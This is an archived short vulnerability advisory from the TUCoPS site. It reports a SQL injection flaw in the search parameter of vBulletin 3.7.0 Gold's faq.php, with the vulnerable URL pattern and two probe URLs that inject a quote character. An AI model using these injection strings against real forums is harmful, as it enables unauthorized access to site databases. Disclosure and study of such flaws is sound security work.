TUCoPS :: Web BBS :: Frequently Exploited :: bx3222.htm

Vbulletin 3.7.0 Gold >> Sql injection on faq.php
Vbulletin 3.7.0 Gold >> Sql injection on faq.php
Vbulletin 3.7.0 Gold >> Sql injection on faq.php



By : Ali Jasbi(Hackerz.ir security & hacking research team)=0D
Vendor : vbulletin.org=0D
version : 3.7.0 Gold=0D
Vulnerability: Sql injection=0D
http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1=0D 
test it:=0D
faq.php?s=&do=search&q='&match=any&titlesonly=1=0D
faq.php?s=&do=search&q=%00'&match=all&titlesonly=0=0D
Enjoy it...

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH